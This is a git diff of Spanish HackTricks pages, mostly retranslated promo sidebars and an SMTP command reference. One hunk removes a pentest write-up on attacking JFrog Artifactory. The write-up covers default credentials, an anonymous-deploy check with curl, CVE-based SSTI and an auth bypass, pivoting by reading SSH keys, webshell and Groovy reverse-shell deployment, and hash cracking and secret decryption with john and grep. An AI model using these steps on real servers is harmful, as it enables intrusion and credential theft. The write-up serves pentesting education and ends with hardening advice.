* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,49 +2,49 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters - desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
**Extraído de:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
**Comandos desde:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)
|
||||
|
||||
**HELO**\
|
||||
Es el primer comando SMTP: inicia la conversación identificando el servidor emisor y generalmente es seguido por su nombre de dominio.
|
||||
Es el primer comando SMTP: inicia la conversación identificando el servidor emisor y generalmente va seguido de su nombre de dominio.
|
||||
|
||||
**EHLO**\
|
||||
Un comando alternativo para iniciar la conversación, subrayando que el servidor está utilizando el protocolo SMTP Extendido.
|
||||
Un comando alternativo para iniciar la conversación, indicando que el servidor está utilizando el protocolo SMTP extendido.
|
||||
|
||||
**MAIL FROM**\
|
||||
Con este comando SMTP comienzan las operaciones: el emisor indica la dirección de correo electrónico de origen en el campo "From" y realmente inicia la transferencia del correo electrónico.
|
||||
Con este comando SMTP comienzan las operaciones: el remitente indica la dirección de correo electrónico de origen en el campo "De" y realmente inicia la transferencia de correo electrónico.
|
||||
|
||||
**RCPT TO**\
|
||||
Identifica al destinatario del correo electrónico; si hay más de uno, el comando se repite simplemente dirección por dirección.
|
||||
|
||||
**SIZE**\
|
||||
Este comando SMTP informa al servidor remoto sobre el tamaño estimado (en términos de bytes) del correo electrónico adjunto. También se puede utilizar para informar el tamaño máximo de un mensaje que será aceptado por el servidor.
|
||||
Este comando SMTP informa al servidor remoto sobre el tamaño estimado (en bytes) del correo electrónico adjunto. También se puede utilizar para informar el tamaño máximo de un mensaje que puede ser aceptado por el servidor.
|
||||
|
||||
**DATA**\
|
||||
Con el comando DATA comienza la transferencia del contenido del correo electrónico; generalmente es seguido por un código de respuesta 354 dado por el servidor, dando permiso para comenzar la transmisión real.
|
||||
Con el comando DATA comienza a transferirse el contenido del correo electrónico; generalmente va seguido de un código de respuesta 354 proporcionado por el servidor, dando permiso para iniciar la transmisión real.
|
||||
|
||||
**VRFY**\
|
||||
Se le pide al servidor que verifique si una dirección de correo electrónico o nombre de usuario en particular realmente existe.
|
||||
Se solicita al servidor que verifique si una dirección de correo electrónico o nombre de usuario en particular realmente existe.
|
||||
|
||||
**TURN**\
|
||||
Este comando se utiliza para invertir los roles entre el cliente y el servidor, sin la necesidad de establecer una nueva conexión.
|
||||
Este comando se utiliza para invertir roles entre el cliente y el servidor, sin necesidad de ejecutar una nueva conexión.
|
||||
|
||||
**AUTH**\
|
||||
Con el comando AUTH, el cliente se autentica ante el servidor, proporcionando su nombre de usuario y contraseña. Es otra capa de seguridad para garantizar una transmisión adecuada.
|
||||
|
@ -56,27 +56,27 @@ Comunica al servidor que la transmisión de correo electrónico en curso va a se
|
|||
Este comando SMTP solicita una confirmación sobre la identificación de una lista de correo.
|
||||
|
||||
**HELP**\
|
||||
Es una solicitud del cliente para obtener información que puede ser útil para la transferencia exitosa del correo electrónico.
|
||||
Es una solicitud del cliente de información que puede ser útil para una transferencia de correo electrónico exitosa.
|
||||
|
||||
**QUIT**\
|
||||
Termina la conversación SMTP.
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecuta un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters - desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, obtener shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,224 +1,29 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Este contenido fue tomado de** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
|
||||
|
||||
# Conceptos básicos de Artifactory <a href="#artifactory-basics" id="artifactory-basics"></a>
|
||||
|
||||
## Usuarios y contraseñas por defecto <a href="#default-users-and-passwords" id="default-users-and-passwords"></a>
|
||||
|
||||
Las cuentas por defecto de Artifactory son:
|
||||
|
||||
| Cuenta | Contraseña por defecto | Notas |
|
||||
| ------------ | ---------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| admin | password | cuenta común de administración |
|
||||
| access-admin | password (<6.8.0) o un valor aleatorio (>= 6.8.0) | utilizada solo para operaciones de administración local |
|
||||
| anonymous | ’’ | usuario anónimo para recuperar paquetes de forma remota, no habilitado por defecto |
|
||||
|
||||
Por defecto, no hay una política de bloqueo de contraseñas, lo que convierte a Artifactory en un objetivo principal para ataques de relleno de credenciales y rociado de contraseñas.
|
||||
|
||||
## Autorizaciones <a href="#authorizations" id="authorizations"></a>
|
||||
|
||||
Idealmente, esto es lo que deberías ver al conectarte a Artifactory:
|
||||
|
||||
![Página de inicio de sesión](https://www.errno.fr/artifactory/artif\_login.png)
|
||||
|
||||
Por otro lado, si te encuentras con algo más parecido a esto:
|
||||
|
||||
![Página por defecto](https://www.errno.fr/artifactory/artif\_default.png)
|
||||
|
||||
Significa que se ha habilitado el "Acceso anónimo" en el panel de administración, lo cual es una configuración común utilizada para permitir que las aplicaciones recuperen artefactos sin problemas, pero te permite, el atacante, ver más de lo preferible.
|
||||
|
||||
## Verificación de derechos de cuenta <a href="#checking-account-rights" id="checking-account-rights"></a>
|
||||
|
||||
A veces, debido a una mala configuración, ¡se permite al usuario anónimo desplegar archivos en algunos repositorios!
|
||||
|
||||
Para verificar a qué repositorios el usuario anónimo puede desplegar, utiliza la siguiente solicitud:
|
||||
```
|
||||
curl http://localhost:8081/artifactory/ui/repodata?deploy=true
|
||||
{"repoList":["artifactory-build-info","example-repo-local"]}
|
||||
```
|
||||
Si hay entradas de `repoKey` en la solicitud, el usuario anónimo puede desplegar en estos, lo cual es realmente muy malo. Definitivamente deberías estar autenticado para desplegar cualquier archivo.
|
||||
|
||||
Esto se puede generalizar a otras cuentas una vez que obtengas una contraseña o token para ellas.
|
||||
|
||||
## Listado de usuarios <a href="#listing-users" id="listing-users"></a>
|
||||
|
||||
Por alguna razón, el listado de usuarios es un derecho reservado solo para administradores. Encontré una forma alternativa de listar usuarios (aquellos que están desplegando activamente al menos) que depende del valor “Desplegado Por” de los artefactos:
|
||||
|
||||
![Desplegado Por](https://www.errno.fr/artifactory/artif\_deployed\_by.png)
|
||||
|
||||
[Este script](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a) simplemente intenta encontrar recursivamente todos los usuarios que han desplegado artefactos. Ten en cuenta que podría tardar un tiempo en completarse si hay muchos repositorios (>1000).
|
||||
```
|
||||
./artifactory_list_users.py http://127.0.0.1:8081/artifactory
|
||||
There are 23 repositories to process
|
||||
Found user admin
|
||||
Found user test
|
||||
Found user user
|
||||
Found user test_deploy
|
||||
```
|
||||
## Permisos <a href="#permissions" id="permissions"></a>
|
||||
|
||||
Aquí están los permisos básicos y su utilidad:
|
||||
|
||||
* Manage: ?
|
||||
* Delete/Overwrite: interesante para pentesting
|
||||
* Deploy/Cache: interesante para pentesting
|
||||
* Annotate: necesario para CVE-2020-7931
|
||||
* Read: generalmente un permiso por defecto
|
||||
|
||||
# Vulnerabilidades conocidas <a href="#known-vulnerabilities" id="known-vulnerabilities"></a>
|
||||
|
||||
Aquí hay una lista curada de vulnerabilidades públicas de alto impacto:
|
||||
|
||||
## CVE-2016-10036: Carga de Archivos Arbitrarios & RCE (<4.8.6) <a href="#cve-2016-10036-arbitrary-file-upload--rce-486" id="cve-2016-10036-arbitrary-file-upload--rce-486"></a>
|
||||
|
||||
[Detalles aquí.](https://www.exploit-db.com/exploits/44543)
|
||||
|
||||
Esta es un poco antigua y es poco probable que encuentres una versión de Artifactory tan desactualizada. Sin embargo, es bastante efectiva, ya que es una simple travesía de directorio que permite la ejecución de código arbitrario a nivel de Tomcat.
|
||||
|
||||
## CVE-2019-9733: Bypass de Autenticación (<6.8.6) <a href="#cve-2019-9733-authentication-bypass-686" id="cve-2019-9733-authentication-bypass-686"></a>
|
||||
|
||||
[Advertencia original aquí.](https://www.ciphertechs.com/jfrog-artifactory-advisory/)
|
||||
|
||||
En versiones anteriores de Artifactory (hasta 6.7.3), la cuenta `access-admin` utilizaba una contraseña predeterminada `password`.
|
||||
|
||||
Esta cuenta local normalmente no tiene permiso para acceder a la UI o API, pero hasta la versión 6.8.6 se podía engañar a Artifactory para que creyera que la solicitud se originaba localmente si el encabezado HTTP `X-Forwarded-For` se establecía en `127.0.0.1`.
|
||||
|
||||
## CVE-2020-7931: Inyección de Plantillas en el Servidor (Artifactory Pro) <a href="#cve-2020-7931-server-side-template-injection-artifactory-pro" id="cve-2020-7931-server-side-template-injection-artifactory-pro"></a>
|
||||
|
||||
[Advertencia original aquí.](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md)
|
||||
|
||||
Aquí hay una [herramienta que escribí](https://github.com/gquere/CVE-2020-7931) para automatizar la explotación de esta vulnerabilidad.
|
||||
|
||||
Estos son requeridos para la explotación:
|
||||
|
||||
* un usuario con permisos de deploy (crear archivos) y annotate (establecer filtrado)
|
||||
* Artifactory Pro
|
||||
|
||||
La vulnerabilidad es bastante simple: si un recurso desplegado se establece como filtrado, se interpreta como una Plantilla Freemarker, lo que le da al atacante una ventana de ataque SSTI. ![Recurso Filtrado](https://www.errno.fr/artifactory/artif\_filtered.png)
|
||||
|
||||
Aquí están las primitivas implementadas:
|
||||
|
||||
* lecturas básicas del sistema de archivos
|
||||
* escrituras limitadas en el sistema de archivos
|
||||
|
||||
Estas deberían ser suficientes para darte ejecución de código remoto de varias maneras, desde la más fácil/discreta hasta la más difícil/ruidosa:
|
||||
|
||||
* leer un secreto en el sistema de archivos que te permita pivotar (/home/user/.bash\_history, /home/user/password.txt, /home/user/.ssh/id\_rsa …)
|
||||
* añadir una clave SSH al usuario
|
||||
* desplegar un .war para ejecutar un servlet
|
||||
* desplegar un script de usuario Groovy de Artifactory
|
||||
|
||||
### Historias de .war: Travesuras de Java renameTo() <a href="#war-stories-java-renameto-shenanigans" id="war-stories-java-renameto-shenanigans"></a>
|
||||
|
||||
Esta es una pequeña historia de cómo me golpeé la cabeza contra la pared durante horas, si no días, durante un pentest. Me encontré con un Artifactory desactualizado que sabía que era vulnerable a CVE-2020-7931. Desplegué la plantilla SSTI del aviso original y comencé a examinar el sistema de archivos. Parecía que Artifactory había sido instalado en una ubicación no estándar, lo cual no es tan inusual ya que los administradores suelen mantener particiones separadas entre los binarios de la aplicación, los datos, los registros y la configuración (¡esto es bueno!). No había claves SSH ni contraseñas en el directorio del usuario que me hubieran proporcionado un pivote fácil, así que llegó el momento de ser menos discreto y escribir en el sistema de archivos. Dejar el payload inicial (una clave pública) en el directorio de carga de Artifactory fue bien, pero simplemente no pude moverlo al directorio de claves SSH. Así que volví a mi sandbox de explotación, lo probé de nuevo y, he aquí, funcionó bien. Así que tenía que haber una configuración diferente que me impidiera completar el método `renameTo()`. En este punto siempre es una buena idea [consultar la documentación](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-) ... que claramente indica que no puedes renombrar archivos a través de diferentes sistemas de archivos, lo cual supongo que tiene sentido dependiendo de la implementación del método, es decir, si funciona a nivel de inode. Arg.
|
||||
|
||||
¿Recuerdas lo que dije sobre los administradores y las particiones? Bueno, este es un caso de un administrador que sin saberlo fortaleció su configuración contra mi exploit. Así que tuve que investigar lo que es esencialmente una cárcel de Java para encontrar otro método que me permitiera escribir un archivo en el disco. Y eso no fue nada divertido, ya que no estoy familiarizado con ninguna de las cosas involucradas: Plantillas FTL, Java, Tomcat/Catalina. Rápidamente descubrí que los escapes de cárcel de Java regulares simplemente no funcionarían, ya que estaba prohibido instanciar nuevas clases. Después de horas de leer la documentación de las clases de Java y Catalina, finalmente encontré un método write() en un objeto al que podía acceder. Pero estaba limitado a la ruta base de la aplicación web... Entonces pensé en combinar la escritura a otro sistema de archivos y el `renameTo()` a través de este nuevo sistema de archivos accesible para poder escribir en cualquier lugar. ¿Y funcionó? Más o menos. Logré escribir fuera del directorio temporal de carga ... pero no muy lejos de él, ya que ahora estaba atascado en otro sistema de archivos que era el punto de montaje de todo lo relacionado con artifactory: configuración, aplicación y cosas. Así que todavía no tenía clave SSH para mí.
|
||||
|
||||
Bueno, podía escribir en la carpeta raíz de artifactory, seguramente podría hacer algo aquí, ¿no? Oye, el Tomcat predeterminado automáticamente despliega archivos WAR escritos en su ruta de aplicación, ¿no es así? Así que usé msfvenom para generar un webshell JSP empaquetado en un archivo WAR y lo probé en mi sandbox... bueno, se desplegó bien, pero no me proporcionó ejecución de comandos. Parece que el Tomcat predeterminado no maneja JSPs. Ugh. Cada vez más frustrado, busqué otra forma de ejecutar código en Tomcat, y encontré otro método de ejecución usando servlets. No pude encontrar un payload apropiado, así que a la mierda, estoy all in en este punto y [hice mi propio que puedes encontrar aquí](https://github.com/gquere/javaWebShell). Lo probé en la sandbox, funciona, ok. Lo puse en el objetivo, se despliega y ... nada. Resulta que había un proxy frente a artifactory que reescribía todas las URLs a /artifactory. Así que aunque mi puerta trasera estaba desplegada y funcionando, no había forma de acceder a ella... Si había alguna ejecución de código remoto que lograr en este punto, tendría que ser en el contexto de Artifactory, no de Tomcat.
|
||||
|
||||
A la mañana siguiente, estoy sollozando en mi escritorio mirando por última vez la documentación de Artifactory con la vana esperanza de una epifanía. Y entonces las palabras mágicas "scripts Groovy" aparecieron. Resulta que hay una forma enrevesada de ejecutar scripts Groovy, escribiéndolos en disco y luego recargándolos a través de la API. ¡Salvado al fin! Así que lancé un reverseshell Groovy a la máquina y eso fue todo. Aún desearía haber encontrado un método más limpio que hubiera escrito en cualquier lugar del sistema de archivos usando el SSTI, pero seguro que no iba a volver a desarrollar.
|
||||
|
||||
Afortunadamente, no todos los pentests son así :)
|
||||
|
||||
# Post-Explotación <a href="#post-exploitation" id="post-exploitation"></a>
|
||||
|
||||
Lo siguiente solo es útil una vez que has logrado ejecución de código remoto o lectura de archivos arbitrarios en el servidor y podría ayudarte a pivotar a otra máquina.
|
||||
|
||||
## Almacenamiento de contraseñas y secretos externos <a href="#storage-of-passwords-and-external-secrets" id="storage-of-passwords-and-external-secrets"></a>
|
||||
|
||||
### Contraseñas locales <a href="#local-passwords" id="local-passwords"></a>
|
||||
|
||||
Las contraseñas locales de artifactory se almacenan en forma de MD5 salado o bcrypt, siendo el primero obsoleto.
|
||||
|
||||
Las contraseñas MD5 siempre están saladas con el valor spring codificado `{CAFEBABEEBABEFAC}`, y utilizan una simple concatenación sin rondas, es decir, `hash = md5(password + salt)`. La base de datos dice que la sal es `CAFEBABEEBABEFAC` pero créeme, es `{CAFEBABEEBABEFAC}`, me costó mucho encontrarlo :)
|
||||
|
||||
Para romper estas contraseñas MD5 se requiere usar un modo dinámico para JtR:
|
||||
```
|
||||
cat artifactory.hashes
|
||||
user:1f70548d73baca61aab8660733c7de81${CAFEBABEEBABEFAC}
|
||||
john artifactory.hashes --format=dynamic_1
|
||||
Loaded 1 password hash (dynamic_1 [md5($p.$s) (joomla) 256/256 AVX2 8x3])
|
||||
password (user)
|
||||
```
|
||||
El otro tipo de contraseña bcrypt no requiere nada especial, es solo un hash bcrypt estándar:
|
||||
```
|
||||
cat artifactory_bcrypt.hashes
|
||||
admin:$2a$08$EbfHSAjPLoJnG/yHS/zmi.VizaWSipUuKAo7laKt6b8LePPTfDVeW
|
||||
john artifactory_bcrypt.hashes
|
||||
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
|
||||
password (admin)
|
||||
```
|
||||
### Secretos remotos <a href="#remote-secrets" id="remote-secrets"></a>
|
||||
|
||||
Artifactory puede necesitar almacenar secretos para identificarse ante servicios remotos. Estos secretos no están hasheados, por supuesto, se almacenan cifrados en el disco, con la clave al lado de ellos. Hay dos tipos de secretos mencionados en la [documentación oficial](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/).
|
||||
|
||||
**Formato antiguo (<5.9): DES-EDE**
|
||||
|
||||
TODO. [Abre un issue si tienes datos cifrados de muestra](https://github.com/gquere/ArtifactoryDecryptor).
|
||||
|
||||
**Formato nuevo (>=5.9): cifrado AES128-CBC, almacenado como base58**
|
||||
|
||||
Los secretos externos (como contraseñas de servidores remotos) se encuentran en los [descriptores de configuración](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor), por ejemplo, `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml` y parecen:
|
||||
```
|
||||
<keyStorePassword>AM.25rLQ.AES128.vJMeKkaK6RBRQCUKJWvYEHUw6zs394X1CrRugvJsQGPanhMgQ5be8yjWDhJYC4BEz2KRE</keyStorePassword>
|
||||
```
|
||||
Donde:
|
||||
|
||||
* `AM` siempre denota un secreto cifrado de artifactory
|
||||
* `25rLQ` es el identificador del secreto que debe coincidir con el identificador de la clave
|
||||
* `AES128` obviamente es el algoritmo utilizado
|
||||
* `vJMeK...KRE` es la codificación base58 de `IV_SIZE|IV|secreto|CRC`
|
||||
|
||||
Se pueden encontrar más secretos (tokens, copias de seguridad de configuración ...) utilizando la siguiente expresión regular:
|
||||
```
|
||||
grep -r 'AM\..*\.AES128\.' /var/opt/jfrog/artifactory/
|
||||
```
|
||||
La clave se almacena en `/var/opt/jfrog/artifactory/etc/security/artifactory.key` y luce así:
|
||||
```
|
||||
JS.25rLQ.AES128.7fcJFd3Y2ib3wi4EHnhbvZuxu
|
||||
```
|
||||
Donde:
|
||||
|
||||
* `JS` denota una clave
|
||||
* `25rLQ` es un identificador de clave único que lleva un registro de qué clave puede descifrar qué secretos
|
||||
* `AES128` obviamente es el algoritmo utilizado
|
||||
* `7fcJFd3Y2ib3wi4EHnhbvZuxu` es la codificación base58 de la clave y 2 bytes de CRC
|
||||
|
||||
Esta herramienta que escribí se puede usar sin conexión para descifrar secretos de Artifactory: [ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor).
|
||||
|
||||
# Defendiendo Artifactory <a href="#defending-artifactory" id="defending-artifactory"></a>
|
||||
|
||||
Si eres del equipo azul o un administrador de Artifactory, para este momento deberías tener una idea bastante clara de qué hacer:
|
||||
|
||||
* mantener Artifactory actualizado, especialmente cuando se emiten actualizaciones críticas
|
||||
* implementar una política de contraseñas sólida (sin contraseñas predeterminadas, contraseñas fuertes obligatorias, bloqueos), preferiblemente delegada a un LDAP externo para una mejor supervisión
|
||||
* restringir accesos (respetar el principio de mínimo privilegio), especialmente para el usuario anónimo
|
||||
|
||||
**Revisa esta publicación:** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,26 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
